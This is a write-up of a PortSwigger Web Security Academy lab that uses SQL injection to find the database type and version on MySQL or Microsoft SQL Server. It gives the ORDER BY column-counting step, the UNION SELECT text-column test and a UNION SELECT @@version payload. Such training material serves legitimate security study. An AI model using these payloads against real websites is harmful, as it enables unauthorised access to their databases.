← Back to Writeups
PORTSWIGGERN/ASQL_injection

SQL injection attack,querying the database type and version on MySQL and Microsoft

XESXOR9/2/20262 min read
#sql_injection#portswigger#web-security-academy

SQL injection attack,querying the database type and version on MySQL and Microsoft

Platform: PortSwigger | Category: SQL_injection | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, SQL_injection

Summary

Walkthrough of the PortSwigger Web Security Academy lab SQL injection attack,querying the database type and version on MySQL and Microsoft (SQL_injection). This lab demonstrates a sql_injection vulnerability and its exploitation to achieve the lab objectives.

Lab Overview

PortSwigger Web Security Academy — SQL_injection

This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.

Lab Description :

image

image

Solution :

NOTE - Since it is either microsoft or MYQL db use # as comment

Determine no of columns -

ORDER BY 3 gives error which means there are 2 columns.

sql
SELECT * FROM someTable WHERE category = '<CATEGORY>' ORDER BY 3 #

image

Determine column which has text data -

sql
SELECT * FROM someTable WHERE category = '<CATEGORY>' UNION SELECT 'shebu','cys' #

Both the columns have text data since both returns the same i/p value.

image

Retreive db version

The syntax to find version info of both MYSQL & Microsoft db are the same - @@version

sql
SELECT * FROM someTable WHERE category = '<CATEGORY>' UNION SELECT @@version,NULL #

image

image

Key Takeaways / Lessons

  • Understanding SQL_injection detection and exploitation is crucial for web security.
  • Always validate and sanitize user input; implement proper access controls.
  • This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.

Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: SQL injection attack,querying the database type and version on MySQL and Microsoft